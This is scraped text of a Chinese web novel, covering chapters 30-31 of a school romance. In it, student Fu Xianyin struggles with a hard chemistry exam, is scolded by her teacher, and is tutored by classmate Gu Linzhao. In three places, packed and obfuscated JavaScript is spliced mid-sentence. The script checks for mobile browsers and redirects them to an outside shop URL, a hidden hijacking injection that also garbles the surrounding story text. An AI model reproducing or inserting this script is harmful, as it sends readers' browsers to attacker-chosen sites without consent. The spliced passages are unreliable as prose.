只是塞照片的时候,她还是不知道为什么,视线在她和顾临钊那张照片上停留了几秒。 大休过后,好日子彻底没了。 距离第二次月考刚好一个星期,傅弦音翻试卷时看到了被收到文件夹里的月考试卷时,精神还恍惚了一下。 怎么好像上一次月考刚过去没多久,甚至傅弦音感觉这些卷子都像是昨天才考完,现在一个星期之后就又要第二次月考了。 她叹了口气,收好卷子,继续刷题。 有了上一次月考给她点底,傅弦音现在没有第一次对自己那么没有数。 可是有数也并没有好到哪去,因为她清楚地知道着自己的不足。 附中的卷子在周日被傅弦音自己掐着表做完了,今天一来学校,傅弦音就去各科老师办公室请他们帮忙批改。 附中自己出的卷子质量也非常高,因此傅弦音周六晚上专门没回宿舍,她去了酒店长住房,自己给自己放热水泡了个澡,只为了增强一下睡眠质量,让自己第二天拥有尽可能最佳的状态去完成那套卷子。 第二天不到6点,傅弦音就起床了。 她打车回了学校,在学校门口的便利店买了包子和粥当早饭,而后就回了宿舍做那套卷子。 附中各科卷子的难度和一中有些区别。 其他的都在傅弦音接受范围内,唯独一点,化学,难得出奇。 傅弦音甚至选择题才做了几道题就感觉到了困难。 她艰难地在规定时间内写完了卷子,只不过卷面上的好几处空白注定让她考不了满意的分数。 化学课下课,胡伟明将讲义课本一收,对着傅弦音说道:“你跟我过来一下。” 傅弦音没想到卷子这么快就被改出来了,而且还是化学,她心里紧了一下。 快速收拾好课本本子和试卷,傅弦音拿着东西跟胡伟明进了化学办公室。 化学办公室在顶楼,顶楼没有教室,只有几间老师的办公室,和楼下每逢下课说话声脚步声交错想起的走廊不同,顶楼的走廊安静得可怕。 傅弦音站在办公桌旁,看到了胡伟明桌面上摊开了一张熟悉的试卷。试卷上红黑笔迹交错纵横,而在顶端的中间部分,打上了一个鲜红的数字—— 61。 刚及格。 傅弦音的心沉了沉。 第二节下课后是大课间,足足有30分钟的课余时间,胡伟明拿茶杯慢悠悠地去饮水机旁接满了热水,而后又慢悠悠地拎着玻璃杯走回来。 他坐在办公桌前,打开玻璃杯,吹了吹茶叶沫子,吸溜着喝了一口最上面的茶水。 “啧,哈。”他点了点卷子,棕褐色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅弦音点了点头,半天才道出一句:“是。” 办公椅转了过来。 胡伟明看着垂着脑袋的她,忽然指了指桌上的卷子,说:“你这卷子附中的吧,哪来的,我没记得我给过你们附中的卷子。” 傅弦音:“我在附中有朋友,找他们帮忙复印了一份。” 胡伟明:“你做的时候没感觉到题难?” 傅弦音:“感受到了。” 胡伟明:“那你还做?傅弦音,一中简单的卷子你才考77,这么难的卷子,你做的时候觉得自己能考多少?基础没打好就想给自己拔高,眼高手低,来,你看看你眼高手低的结果,你看看这张卷子你考了多少?” 他点了点卷面上鲜红的61,说:“61分,傅弦音,刚及格,你一个年级第一,化学刚刚及格,这句话说出去丢人不丢人,啊?” 傅弦音那句“是我妈让我做的”被她硬生生憋了回去。 胡伟明不是一个会接受学生解释的人,错就是错,再多的解释和理由堆上去,该是错的一样还是错的。 胡伟明:“你现在的基础别肖想那些杂七杂八的题,我告诉你,尤其是你这种好学生,最容易掂量不清楚自己,觉得,啊你看,我物理97,数学150,那我就得多做点压轴题、困难题。什么是基础题?我根本就不屑一顾,是不是啊傅弦音?” 傅弦音没说话。 胡伟明把玻璃杯往桌子上重重一放,说: “大错特错!” “物理好归物理好,数学好归数学好。你化学该多差跟你其他科好不好没有一点关系。” 卷子被胡伟明从桌面上掀起,扔到傅弦音身上。 他说:“在你化学上85之前,别让我看到你做什么杂七杂八的压轴题,更别把这些你完全做不了的题拿过来给我改。” “纯属就是浪费好卷子。” 傅弦音收好卷子,乖巧认错道:“对不起老师,我以后不会了。” 她说完也没着急走,胡伟明没说下一句话之前,她就在原地站着。 傅弦音期待着胡伟明把她干出化学办公室,让她尽快结束这场折磨。 按照一般流程来说,应该到这个环节了,傅弦音想。 然而没有, 胡伟明打乱了傅弦音的预知。 他问:“你之前,是从临澜转过来的是吧?” 傅弦音点点头。 下一秒,胡伟明说出了一句让傅弦音呼吸一窒的话。 他说: “临澜是临澜,北川是北川。北川一中校规严明,和你之前不一样。” “不要把你在临澜的坏风气带到这里来。” 30. 也不是 “傅弦音。” “到。” 傅弦音听见自己名字后条件反射般站起,她看向讲台上的高姐,对方给了她一个略带警告的眼神。 “分享一下你这道题的解题思路。” 高姐指着投影仪上的几何题,又跟傅弦音重复了一遍。 傅弦音抿抿唇,拿着卷子上了讲台,接过高姐手中的白板笔,在白板上画出了一条辅助线。 “不错。” 高姐颔首,没再多提醒她,而是让她回座位上做好。 连续两节的数学课,傅弦音都强迫自己打起精神。 然而胡伟明的那句话却像是在她脑子里开了自动回响一般,一遍一遍地循环重复着,挥之不去。 高颖的嘴巴在讲台上一开一合,傅弦音感觉脑子混沌一片。她听不清也看不清,思绪像是被一道网包裹住,五感则被屏障隔离开。 什么叫,她在临澜的坏风气。 胡伟明的话到底是什么意思。 他为什么知道她在临澜的事,又为什么会说出这句话专门提点她。 两节连堂的数学课下课,傅弦音都没明白。 尹泽轩还在写题,程昭昭蹦蹦跳跳过来,问傅弦音:“音音,你午饭怎么吃呀?林安旭刚说要不要午饭去校外吃炒菜,你去不?” 林安旭在讲台边喊:“音姐,你要是不去我就和钊哥给你捎份饭回来,你看你想吃啥菜,或者别的我俩顺路买回来也成。” 顾临钊戴了顶白色的棒球帽,靠在门口的墙边,懒洋洋地看她。 傅弦音看了眼桌上两节课过后都没怎么动的笔记本,深吸一口气,说:“我跟你们一块去。” “稀客呀,真是稀客。” 傅弦音都坐下了,林安旭还在咋舌:“姐,这还是你第一次跟我们出来吃。” 傅弦音本来就经常不吃饭,有限的吃饭机会中,出校门吃饭的次数屈指可数。 原因很简单,校门口的饭店最近的也比食堂远,傅弦音嫌一来一回太花时间。 傅弦音笑了笑:“今天不想学了,歇歇。” 说话的功夫,顾临钊已经把她面前餐具打开,用热水涮了一遍。 杯子里盛着水,傅弦音下意识就要喝,手还没碰上杯子就被顾临钊伸手拦了一道。 “热水。”他说:“烫。” 傅弦音收回手。 她说:“我出去买杯奶茶。” 程昭昭正和陈念可脑袋凑一块看菜单,闻言说:“那音音你先看两眼吃啥。” 傅弦音瞟了一眼菜单,说:“念可点吧,她点的我都挺喜欢吃。” 程昭昭:“哦,那音音你帮我带杯蜜桃乌龙,三分糖的!” 傅弦音比了个OK的手势,站了起来。 她坐的靠里,出去要经过顾临钊的位置。 在她站起来的瞬间,顾临钊也站了起来。 他走到过道边给她腾空,还顺手拉了拉椅子,给傅弦音腾了条更方便出来的路。 傅弦音站在过道里了,却发现顾临钊还没回去坐。 她指了指座位,问:“你……” 顾临钊反应慢半拍似的道:“啊,我跟你一块去。” 林安旭正在纠结着菜单,听到这句话头也没回就说:“钊哥帮我买杯柠檬百香果!” 傅弦音又看向陈念可,问:“念可呢,你喝什么?” 陈念可摇摇头:“我不喝了,我带了瓶冰红茶。” 正午的太阳最毒。 傅弦音被太阳晒得睁不开眼,她有些后悔今天出门没带帽子。 正想着,一顶棒球帽就扣到了她的脑袋上。 顾临钊的声音从侧边传来:“想去哪?” 傅弦音:“我就想透透气,随便溜达溜达就……等等。” 棒球帽挡住毒辣的阳光,投下一片阴影。 傅弦音满脸不可思议地仰头看顾临钊,猝不及防下,被日光刺了个龇牙咧嘴。 顾临钊唇角扬了扬,没憋住笑。 他抬手,极有分寸地用指尖点了点帽檐,把傅弦音正对太阳被晒得睁不开眼的脸借着转帽子的力道转了回去。 目光重新被阴影笼罩,傅弦音的视线多了几分活路。 “不是,”她有点乱:“我刚才不是都说了我来买奶茶。” 顾临钊:“啊,我还以为买奶茶是个借口,你是心情不好想出来。” 傅弦音瞠目结舌。 不是顾半仙什么时候背着她增进业务能力了。 她情绪外放得这么明显吗? 程昭昭都没看出来。 陈念可也没看出来。 林安旭那个缺心眼的暂且不论。 顾临钊到底是怎么看出来的? 她低着头,陷入思索,棒球帽又刚好遮住了视线,她脚步没停,差点和一个捧着串串香的学生撞个满怀。 顾临钊扯了一把她的校服袖子,傅弦音感觉自己一个漂移就到了路的另一边,脑袋还差点撞顾临钊身上。 “看路啊,校门口的,你是要横冲直撞报复社会吗?” 顾临钊无奈道。 他的手拽着她的校服袖子,刚才那一把顾临钊明明感觉自己没使多大的力,可是边上的女孩瞬间就到了他这边。 要不是顾临钊临了又拽了一把,只怕人能直接栽他身上。 傅弦音身高在女生里面算高的,顾临钊估摸着她得有一米七。 只是。 一米七的人,这么轻? 真的太轻了。 顾临钊甚至觉得,他刚才劲要是再大点,甚至能直接旱地拔葱把人拎过来。 他视线落在傅弦音有些空荡的校服上。 学校流行穿尺寸偏宽松的校服,女生一般订校服很少会订尺寸完全合身的,都会订偏大一码。顾临钊一直以为傅弦音也是这样,然而现在才发现,不是尺码的问题,是她人瘦。 倒是也不奇怪。 就她那个饮食习惯,能胖得起来才怪。 不过。 顾临钊垂眸看了眼傅弦音。 棒球帽遮挡了眉眼,只露出尖尖的下巴。 他依稀记得,傅弦音在和他同桌的时候,脸颊上还是有点肉的。 怎么现在一点肉都没了。 是他没跟她同桌,晚自习没人给她带饭吗? 顾临钊回想了一下换位之后的这一个多星期。 好像确实没见她吃过几次饭。 傅弦音不知道顾临钊正默默思考着她的饮食问题。 她所有的心思都在顾临钊到底是怎么知道她心情不好的。 有句话怎么说来着? 忍无可忍,无需再忍。 憋不住就直接问。 于是傅弦音道:“你怎么知道我心情不好。” 顾临钊想了一下,说:“直觉吧。” 傅弦音点点头。 这个在别人那不合理但是在顾半仙这里很合理的答案,让她很信服。 谁让人家是半仙。 半仙直觉准点正常的。 然而下一秒,顾半仙突然放了个名为“逻辑分析”的技能: “数学课高姐叫你上去画辅助线是因为你走神了,你上课很少走神,但是连着两节数学课你好像完全都没听进去。第二节下课化学老师让你去他办公室,他点你成绩了?” 傅弦音:…… 他妈的,分析的这么牛逼。 虽然和正确答案有点偏差,但是过程基本上全对,满分。 傅弦音表情复杂地点了点头。 奶茶店到了,两人推门进了奶茶店,傅弦音眼疾手快地找了个位置坐着,顾临钊去晚了一步,傅弦音身边的另一个位置被一个女孩坐了,他就站在傅弦音面前。 顾临钊犹豫了一下,最后还是放缓了语气,轻声问道:“怎么了么?” 傅弦音没迟疑,直接和他说了:“我做了一套附中月考的化学卷子,想让化学老师帮忙改一下。但我……考的很烂,非常烂。” 她略去了一部分重点没说。 傅弦音摘下帽子,仰头看着顾临钊: “我还想问的是,你能把那张卷子给我讲一遍吗?附中化学卷子比我们难很多,很多题我都不会,今天改完就61,刚及格的程度。” 顾临钊:“改完之后你又看过了吗?” 傅弦音点点头:“看过了,该不会的还是不会,不是提示不提示的问题了,就算有提示我在规定时间内我也做不完,我就是……” 她声音不知道为什么突然哽了哽。 傅弦音快速调整自己的气息,补完那句话:“不会。” 顾临钊:“那你等会回去把卷子给我,下午自习课我把每道题的步骤给你写好,你自己看,看不明白问我。” 傅弦音仰头问:“你要空白的卷子吗,就是附中这套卷子说出的挺好的,你要不要比如说自己掐表做一遍然后再给我讲,下周月考了,别浪费这套卷子。” 顾临钊想了想,说:“附中这次数学卷子难吗?” 傅弦音点点头:“挺难的。” 顾临钊斟酌着语句:“那你,就是,如果把重难点的题单挑出来给你做,省去刷整套卷子的时间,但是会让你少一次,体验困难卷子的,完整的,经验。” 他仔仔细细地组织自己的语言: “你会觉得你一定,就是你非常想要去,怎么说,花整套卷子的时间去……弥补这个遗憾吗?” 傅弦音:…… 她面无表情道:“下次请你直说,我听得懂。” 他还不如直接跟她说他化学挺好的缺一套卷子也不影响什么。 这一番字斟句酌的语言组织下来,又是类比又是假设的,傅弦音感觉讽刺打击的力度比直接说还要大。 奶茶做的很快。 两人聊天间,前台已经在喊他们的号了。 顾临钊两只手各拎了两杯奶茶,笑道:“我这不是语文没有139,怕不好好组织语言,说出来的话有歧义。” 傅弦音:…… 怎么现在阴阳她又这么坦率了? 她忍不住反唇相讥:“说的也是,139毕竟是139,还是很不一样的。” “对啊,”顾临钊很认同:“年级第一,很不一样的。” 推门就是大太阳。 但这次不一样,傅弦音脑袋上戴了帽子。 再大的太阳,她都睁得开眼。 顾临钊被太阳照得眯眼睛,问:“还要去走走吗?” “不用了。”傅弦音突然笑了。 她说:“好晒,回去吧。” 两人回去的时候,菜刚好上齐。 桌上的菜完全没被动过,陈念可饿得快昏过去了,好不容易两人落座,陈念可这才拿起筷子,夹了一块水煮肉片。 傅弦音把奶茶给大家分了,自己喝了一口杨枝甘露,忽然想起什么似的,戳戳顾临钊。 她问:“你喜欢喝什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060460|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾临钊没反应过来:“什么喝什么?” 本来桌就不大,俩人脑袋凑一块显眼得很。 林安旭说:“你俩悄悄嘀咕啥呢?” 傅弦音:“啊,我问他喜欢喝什么奶茶。” 林安旭:“钊哥不喜欢喝奶茶啊。” 和之前程昭昭一样的答案。 傅弦音不死心,又问:“完全不喜欢?” 顾临钊顿了顿,说:“也不是。” 他想起周末,傅弦音拎着一堆东西递给他的场景,嘴角忍不住弯了弯。 “杨枝甘露我就挺喜欢的。” 他说。 “加了脆啵啵的那种。” * 不知道是吃饱了的缘故,还是因为紧张的心情得到舒缓。 傅弦音下午作文课简直算得上是文思泉涌。 作文题目一发下来,她就迅速有了思路。需要举例引用的时政和典故在草稿纸上一一列出后,傅弦音提笔就开始写。 写完最后一个字,离下课还有近半小时的时间。 作文课徐寻菱一向管得很松。 只要写完作文,哪怕写点别的作业,徐寻菱也不会责怪。 傅弦音开始整理生物笔记。 不知道是突然开窍了,还是最近做的题都比较简单,又或者是在化学这个地狱级难度的对比之下。 傅弦音感觉最近的生物好像没有她在临澜时学得那么痛苦了。 不管是做题还是记忆知识点,傅弦音都感觉自己的速度快了很多。 这样下去,说不定下次月考的时候,生物能上90呢? 傅弦音美滋滋的想。 语文课加上大课间,傅弦音把生物笔记和生物作业都做完了。 最后一节自习课,傅弦音写完了数学和一大半物理的作业。 下课铃打响,程昭昭和陈念可过来问傅弦音:“音音,吃饭去不去?” 傅弦音笑着摇摇头:“我不去了,我把物理作业写了。” “奥,好吧。”两人点点头,边走边说: “音音又不吃饭。” “她老是不吃晚饭。” “之前还跟我说什么过午不食对身体好。” “她这个饮食习惯怎么可能对身体好。” 两人从前门走出教室。 顾临钊捏着化学试卷和他用一个自习时间写完的步骤,绕到傅弦音边上的过道。 “你所有的错题和你做题时圈出来的题我都写了步骤过程。” 顾临钊把稿纸和试卷递给傅弦音:“如果还看不懂就问我。” 稿纸上,清秀的字迹密密麻麻地写了一片。 顾临钊甚至还用了不同颜色的笔,把其中关键或者困难的步骤重点圈了出来。 傅弦音:“你都写的这么仔细了,我还看不懂就不合理了啊。” 顾临钊轻笑一声,说了句:“走了。” 傅弦音头都没抬,伸手挥了挥:“拜拜。” 收拾东西的尹泽轩回头看了她一眼。 傅弦音低着脑袋,做题做得正专注,丝毫没有要起身离开的意思。 物理作业不算很难。 傅弦音在晚自习上课前写完作业后,还上走廊溜达了两圈,活动有些僵硬的筋骨。 回到教室,程昭昭和陈念可两人一前一右地坐在她座位旁边。 “音音,快来快来。” 陈念可兴冲冲地指了指桌上还在冒着热气的塑料袋:“今天我俩吃得快,给你带了份里脊卷饼。晚上多少还是要吃点的嘛,要不然胃疼。” 陈念可说完还冲隐秘地眨眨眼:“加了兰花干的哟,知道你爱吃。” 热气蒸得塑料袋都覆上了一层乳白的水蒸气。豆香酱香里脊香混合成一块,钻进傅弦音鼻腔。 傅弦音刚要道谢,身边有一道影子站定在她旁边。 顾临钊手上拎着一份干拌面一个饭团两个烤串和一份杨枝甘露,正要往她桌上放,看见那个鼓鼓囊囊的里脊卷饼,动作顿了一下。 程昭昭“咦”了一声:“你也给音音买饭了啊。” 顾临钊点点头。 临走时听到她们说傅弦音晚上又不吃饭,想到今天中午拉她那一把,顾临钊觉得自己有必要给她带点吃得多补补。 他看着桌上的里脊饼,倒没觉得有什么不妥,语气自然道:“正好样数多,你挑挑,挑完的给林安旭就行。” 程昭昭撇撇嘴:“真是便宜林安旭了。” 林安旭:“谁,谁叫我?” 他跑到傅弦音座位这里,说:“哇塞,我沾着光啦?姐你看你想吃啥,剩下的我晚上加个餐!” 傅弦音说:“你吃过饭了,还能吃了?” 林安旭嘿嘿一笑:“姐你小瞧我了。” 傅弦音看着眼前的食物说:“那我就不客气啦?” 话音刚落,一条手臂从林安旭身侧伸过来。 一份烤肉拌饭放在桌上。 尹泽轩的声音在林安旭身后响起:“傅弦音,你晚上是不是没吃饭,我给你带……” 他的话在看到傅弦音桌子上的一堆食物时猛然顿住。 傅弦音也僵住了。 三份饭摆在她面前。 这个世界上怎么会有概率这么小的事情发生。 傅弦音甚至觉得比她下次月考生物考90的概率还小。 她有些不好意思地抬头看向林安旭: “那什么,你真的能吃了吗?” 31. 瑶歌 傅弦音最后吃了一份烤肉拌饭和两根烤串,程昭昭死活不想把自己买的里脊卷饼便宜了顾临钊,尤其是陈念可特地为傅弦音多加了一份兰花干。 她说:“音音你带着嘛,实在不行可以当明天早饭,用宿舍楼下微波炉热一下。” 傅弦音手下了。 林安旭白赚了一份干拌面和一份饭团,他吸溜着干拌面,说:“早知道就不跟他说不要香菜了。” 顾临钊白了他一眼:“又不是给你买的,吃还堵不上你的嘴。” 傅弦音看着干拌面若有所思。 她从来不知道干拌面是会默认放香菜的,好像她为数不多吃干拌面的经历都是和顾临钊同桌的时候他给带的。 傅弦音已经不记得顾临钊到底是什么时候知道她不吃香菜的了。 有了中午那一遭,她觉得顾半仙干出什么事情都不惊讶。 吃饭间,程昭昭和陈念可已经回了座位,林安旭用尽最后一点课前时间和别的男生打闹。 顾临钊就靠在窗边,垂着眼睛,看她吃烤肉拌饭。 他目光不专注,目的性也不强,甚至好像就是随便靠在墙边,只偶尔看两眼傅弦音。 但尹泽轩就是莫名地觉得他有点写不进去题。 傅弦音刚好卡在离上课还有一分钟的时间吃完了烤肉拌饭。 她扣上盖子,把饭盒装进袋子里,犹豫是在最后一点时间跑出去扔垃圾还是等下课再扔。 一只手自然地从她面前接过袋子。 顾临钊提着她的垃圾就走了,甚至连句话都没说。 傅弦音看着他的背影,也没有很意外,拿过他的笔记开始看。 旁边的尹泽轩看了看题,看了看傅弦音,又看了看顾临钊。 最后也没说什么话。 自习的时间过得很快。 顾临钊的过程写得详细又清晰,傅弦音对照着笔记看,顺了一遍,基本没有什么不懂的了。 剩下的只有些不确定,傅弦音打算等晚自习最后放学了再去找顾临钊。 晚自习下课,程昭昭和陈念可收拾好了东西,傅弦音扬了扬手上的试卷,说: “我要问顾临钊几道题,你们要是着急回去要不先走?” 陈念可:“哎呀,着急什么,等你等你。” 傅弦音拿着卷子就过去了。 顾临钊丝毫不意外她过来,甚至在她来之前,他就跟后排收拾书包的同学说:“借下你椅子。” 傅弦音拿着卷子和稿纸过来了。 顾临钊指了指过道边的椅子,说:“坐。” 旁边,宋瑶歌收拾书包的东西慢了些。 高三了,舞蹈集训开始,宋瑶歌晚自习已经很少会来学,甚至原本有时上课都会请假去集训。 可自从换位换到了和顾临钊同桌,宋瑶歌就再没请过假。 她文化课很不好,老师上课讲得很多都听不懂,她也不是没有尝试过在晚自习自己学一会,可是理科太难了,公式她都看不懂,看上两眼她就放弃了。 大多时候,她就自己随便找本小说看,而后偷偷地瞥一眼顾临钊。 今天,她花了整整一节晚自习的时间用来思考怎么在晚自习结束之后叫住顾临钊,和他说两句话。 下课铃打响之后,她就一直在做心理建设,然而就当她准备开口的时候,傅弦音拿着化学试卷来了。 顾临钊甚至提前在后桌那里拿了椅子,让她坐。 宋瑶歌准备好的话全都卡在嗓子眼。 两个人凑在一块,顾临钊好听的声音耐心且柔和,有时还会笑着和傅弦音开一两句玩笑。 男生的声音温和:“这个给你讲过的。” 女生有些惊讶:“真的假的,我怎么一点印象都没有。” 男生说:“你翻笔记的时候没发现那一块被红笔圈起来了吗”他顿了顿,无奈地强调道:“我给你圈的。” 女生恍然大悟:“你圈的啊,我还以为是我自己觉得这个地方不熟然后圈的。” 她又追问:“这个呢?这个你不会也给我讲过吧?” 男生说:“这个没有,但是类似的讲过。” 两人凑得有些近,从宋瑶歌这个角度看过去,几乎要贴在一起。 她咬着下唇,机械地收拾东西,心思却全都在旁边了。 “瑶歌,你不走吗?” 纪逐渺收拾好东西,走到前排。 宋瑶歌说:“我再等会,你要是着急你就先走吧。” 纪逐渺的目光瞟到了一旁的卷子,她说:“没事,我也有点事要问班长。” 宋瑶歌抬起头。 纪逐渺看着傅弦音和顾临钊,忽然问道:“这是附中的卷子吗?可以让我看看吗?” 卷子正面的61鲜红夺目,傅弦音觉得藏着掖着也没什么必要。 她把卷子递过去。 纪逐渺接过卷子,认真看着。 傅弦音正在和顾临钊找笔记上的知识点。 忽然,纪逐渺指着一道题,问:“你们……能给我讲道题吗?” 她手指着的那道题考的刚好是傅弦音正要找的这个知识点。 傅弦音说:“我们刚好说的就是这个。” 纪逐渺看着笔记,点了点头:“我好像明白了,不过……” 她提出了另一种解法。 傅弦音有些意外地看着她,纪逐渺察觉到她专注的视线,停了下来,问:“怎么了吗?” “啊没有,我觉得你讲的还挺好。”傅弦音认真道。 纪逐渺又看向顾临钊,后者点点头:“我也觉得,很新颖,你继续说。” 纪逐渺看着顾临钊。 她感觉自己身体都在战栗。 太兴奋,真的太兴奋了。 她压抑着声音中细微的抖意,音调都忍不住上扬。 宋瑶歌看着纪逐渺,愣住了。 她盯着试卷,似乎是想要把试卷看出一个洞来。 纪逐渺说完了自己的思路,她说:“班长,这个思路有什么问题吗?” 顾临钊说:“我不是用你这个思路做的,但是我感觉听起来没有问题,你可以自己做一做试试看。” 纪逐渺:“好,那我……回去做一下,然后明天跟你对对答案。” 她看向傅弦音,问:“卷子可以借我一晚上吗?” 傅弦音干脆地拒绝了,她说:“抱歉,我今晚要把思路和过程整理巩固一下,你如果需要的话我可以明天借你。” 纪逐渺想了想,说:“那我抄一下这道题吧,很快。” 傅弦音答应了,她拿着稿纸回去收拾书包。 纪逐渺就趴在顾临钊桌子面前,抄着题目。 顾临钊收拾好书包,把椅子放回后排后,纪逐渺也把题目抄完了。 她对着顾临钊说:“谢谢班长。” 顾临钊:“没事。” 纪逐渺背好书包,走到宋瑶歌桌子前,说:“走吧瑶歌。” 宋瑶歌:“你先走吧,我还有点事。” 纪逐渺露出一个有些歉意的神色:“抱歉瑶歌,是因为我刚才和……” 宋瑶歌摇摇头,挤出一个有些勉强的笑容:“真的不是的。” 纪逐渺说:“真的没事吗?可是瑶歌,我看你……” 她深呼吸了一下,下定决心说:“没事的瑶歌,你如果因为这个不开心,我以后就和班长还有傅弦音讨论题了,你不要……” 宋瑶歌打断她:“真的不是的。” 她真的没有,在生纪逐渺的气。 宋瑶歌承认她嫉妒傅弦音,那是因为从最开始,傅弦音就不算她的朋友,所以她会嫉妒她,嫉妒她和顾临钊走得近。 可是纪逐渺是她的朋友,宋瑶歌不会嫉妒自己的朋友,她只会为自己的朋友感到开心。 她情绪低落,是因为她发现自己无论是和傅弦音,还是顾临钊,又或者是纪逐渺比起来,都差得厉害。 这种一眼望不到头,却又明显到异常残忍的差距,才是她情绪低落的源头。 顾临钊收拾完书包就去讲台边叫正在睡觉的林安旭,刚好,傅弦音也收拾好了书包,和程昭昭她们一起往外走。 几人一道走到教室门口,教室除了宋瑶歌和纪逐渺再没有别人。 路过宋瑶歌她们时,顾临钊提醒了一句:“时间不早了,再不回去可能会来不及查寝。” 宋瑶歌站起身,看着他,下定了决心问:“顾临钊,我能,跟你说点事情吗?” 她生怕顾临钊会不答应,然而顾临钊只是思考了一下,就说:“时间不早了,边走边说吧。” 他站在门边,手指放在灯的开关上,示意宋瑶歌先走。 在宋瑶歌走出教室后,他关上了灯,又把教室门关好。 傅弦音一伙人极有眼力价地走在前面,纪逐渺跟在他们身后不远的地方,宋瑶歌和顾临钊则在最后说着什么。 林安旭挤眉弄眼:“你说,宋瑶歌该不会是要跟钊哥表白吧?” 傅弦音听到“表白”二字后不知为什么,下意识往后看了一眼。 顾临钊单肩背着书包,和宋瑶歌说着什么。 陈念可也偷偷瞟了一眼,而后凑在傅弦音耳边,用只有她们能听到的声音说:“我感觉也像要表白。” 她小小声:“宋瑶歌应该要去艺考集训了,走之前勇敢一把什么的,也很合理嘛。” 程昭昭也凑过来说悄悄话:“我也感觉,很有这个可能。” 两人一块看向傅弦音,问:“音音你呢?你觉得呢?” 傅弦音不知道。 她刚转来十五班一个多月,只能看出来宋瑶歌对顾临钊有点什么意思,但是其他的就不了解了。 她摇摇头,诚实道:“我真的不知道。” 程昭昭:“不过,我感觉顾临钊应该不会答应。” 陈念可:“我也觉得他不会,他看起来完全对宋瑶歌没什么意思的样子。” 傅弦音不知道为什么,又往后看了一眼。 顾临钊刚好抬头。 两人视线短暂地对视了一眼,傅弦音快速转过头。 他……不会吗? 傅弦音不知道答案。 路灯将影子拉长。 宋瑶歌看着地上两道并排的影子。 她不是为了给顾临钊表白。 她是真的有些事情要问顾临钊。 她看着顾临钊,忽然问道:“所以,你觉得我应该去学文吗?” 顾临钊反问:“你自己想学吗?” 宋瑶歌:“我不知道。” 高三了,这个时候再改选课,真的是一项很冒险的行为。 宋瑶歌耸了耸肩,坦诚道:“我的成绩,一直都很艺术生,非常不好。现在应该是我最后一次机会了,再过一段时间高考报名,报名完,我就再也走不了回头路了。” 她抬起头,勇敢地看向顾临钊:“你呢?你怎么想,就当是……给我一些建议吧。” 顾临钊说:“你高一分班之前,六门课有哪些比较好的。” 宋瑶歌:“文科相对,会好一点……”她补充道:“还有生物。” 心脏被紧张覆盖。 宋瑶歌生怕顾临钊会问她既然如此那为什么要选理科。 但是顾临钊没有。 他说:“那你可以考虑留一下生物,然后再文科三门课中选两科对你而言擅长的科目,这样不会全都是从头开始,你压力会小一点。” 他说:“抱歉,我高一的时候文科也不是特别好,这方面可能没办法给到你太多的建议。但是对我当时来说,我觉得历史会比政治好学一点。” 他说:“你可以去问问班主任,或者是去问一下你熟悉的文科老师,听听他们的建议和分析。你高三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060461|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改选课高姐肯定会说你两句,但是你最好还是去找她一趟,听听她的看法。” 他没有问宋瑶歌为什么擅长文科却要选理科。 他没有把宋瑶歌心里最隐秘的那一部分点破。 他没有因为宋瑶歌成绩不好就敷衍地对待她。 甚至完全相反。 他认真的给了宋瑶歌建议,把自己知道的全都告诉了宋瑶歌。 宋瑶歌没有从他的话语里听出任何轻视的意味。 她忽然眼眶一酸,盯着地面上的影子,硬生生地把自己的眼泪憋了回去。 男寝和女寝在道路尽头的两侧。 宋瑶歌在路口站定,顾临钊也停下了步子。 他问:“还有什么要问的吗?” 宋瑶歌摇摇头:“没有了,我就是……想问问这个。” 她露出一个明媚的笑容,冲着顾临钊挥挥手:“那班长,拜拜啦。” 顾临钊也挥了挥手:“拜拜。” 他朝着男寝的方向走去,林安旭勾住他的脖子,嬉嬉闹闹着,不知道说了些什么。 宋瑶歌看着他修长挺拔的背影。 她想。 喜欢上这样好的人。 真的是,太正常不过了啊。 * 第二天早读,宋瑶歌的位子就是空的。 第二节数学课下课,高颖点了傅弦音的名字: “傅弦音,跟我来趟办公室。” 傅弦音跟着高颖去了。 路上,高颖说:“附中那套卷子我给你改出来了,你考得很好,还是150分。” 傅弦音心里轻松了一些。 她说:“谢谢老师。” 年级主任办公室里,傅弦音和宋瑶歌打了个照面。 宋瑶歌身边还站着她的家长。 高颖指着办公室的沙发说:“瑶歌的家长先坐着等一下,我和学生说两句话。” 宋瑶歌的爸爸胖胖的,听到这句话脸上瞬间漾开笑容: “哎老师,没事,您先忙,我们不着急。” 高颖把傅弦音的卷子找了出来,中间那个红彤彤的150耀眼夺目。 宋瑶歌的爸爸一眼就看到了那个鲜红的150,他说:“哎哟,高老师,您的学生考得也太好了,150,满分呐。” 高颖也笑了,她指指傅弦音,说:“就是这孩子考的。” 宋瑶歌爸爸看着傅弦音,笑着说:“小姑娘这么厉害,数学这种学科都能考150。” 他胖乎乎的手比了个大拇指,对傅弦音道:“满分呐,真是太棒了。” 他语调上扬,又带着长辈对小辈友好的关爱,夸奖的话也极真诚。 傅弦音抿了抿唇说:“谢谢叔叔。是高老师教的好。” 宋瑶歌爸爸摇摇头,说:“哎,高老师教的好,那是肯定的。但是你考的好,也是你自己努力的成果,该夸奖的还是得夸奖。” 